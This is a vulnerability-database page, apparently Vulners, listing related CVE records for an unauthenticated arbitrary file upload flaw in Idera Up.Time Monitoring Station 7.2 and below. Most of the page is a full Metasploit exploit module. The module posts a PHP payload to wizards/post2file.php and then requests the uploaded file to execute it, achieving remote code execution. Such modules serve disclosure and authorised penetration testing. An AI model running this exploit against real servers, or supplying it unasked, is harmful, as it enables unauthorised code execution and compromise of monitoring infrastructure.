Lucene search
+L

Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload

🗓️ 19 Nov 2013 00:00:00Reported by Denis Andzakovic <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 30 Views

This module exploits an arbitrary file upload vulnerability found within the Up.Time monitoring server 7.2 and below. A malicious entity can upload a PHP file into the webroot without authentication, leading to arbitrary code execution. The vendor fixed Up.Time to prevent this vulnerability, but it was not properly mitigated

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2025-34121
16 Jul 202521:06
attackerkb
circl
Circl
CVE-2025-34121
29 May 201815:50
circl
cnnvd
CNNVD
Idera Up.Time Monitoring Station 安全漏洞
16 Jul 202500:00
cnnvd
cve
CVE
CVE-2025-34121
16 Jul 202521:06
cve
cvelist
Cvelist
CVE-2025-34121 Idera Up.Time ≤ 7.2 post2file.php Arbitrary File Upload RCE
16 Jul 202521:06
cvelist
euvd
EUVD
EUVD-2025-21749
3 Oct 202520:07
euvd
nvd
NVD
CVE-2025-34121
16 Jul 202521:15
nvd
ptsecurity
Positive Technologies
PT-2025-29884 · Idera · Idera Up.Time Monitoring Station
16 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2025-34121
18 Jul 202521:58
redhatcve
vulnrichment
Vulnrichment
CVE-2025-34121 Idera Up.Time ≤ 7.2 post2file.php Arbitrary File Upload RCE
16 Jul 202521:06
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload',
        'Description' => %q{
          This module exploits an arbitrary file upload vulnerability found within the Up.Time
          monitoring server 7.2 and below. A malicious entity can upload a PHP file into the
          webroot without authentication, leading to arbitrary code execution.

          Although the vendor fixed Up.Time to prevent this vulnerability, it was not properly
          mitigated. To exploit against a newer version of Up.Time (such as 7.4), please use
          exploits/multi/http/uptime_file_upload_2.
        },
        'Author' => [
          'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2025-34121' ],
          [ 'OSVDB', '100423' ],
          [ 'BID', '64031'],
          [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ]
        ],
        'Payload' => {
          'Space' => 10000, # just a big enough number to fit any PHP payload
          'DisableNops' => true
        },
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'Up.Time 7.0/7.2', {} ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2013-11-19',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']),
      Opt::RPORT(9999)
    ])
  end

  def check
    uri = target_uri.path

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'wizards', 'post2file.php')
    })

    if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    print_status("Uploading PHP to Up.Time server")
    uri = target_uri.path

    @payload_name = "#{rand_text_alpha(5)}.php"
    php_payload = get_write_exec_payload(:unlink_self => true)

    post_data = ({
      "file_name" => @payload_name,
      "script" => php_payload
    })

    print_status("Uploading payload #{@payload_name}")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'wizards', 'post2file.php'),
      'vars_post' => post_data,
    })

    unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/
      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
    end

    print_status("Executing payload #{@payload_name}")
    res = send_request_cgi({
      'uri' => normalize_uri(uri, 'wizards', @payload_name),
      'method' => 'GET'
    })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation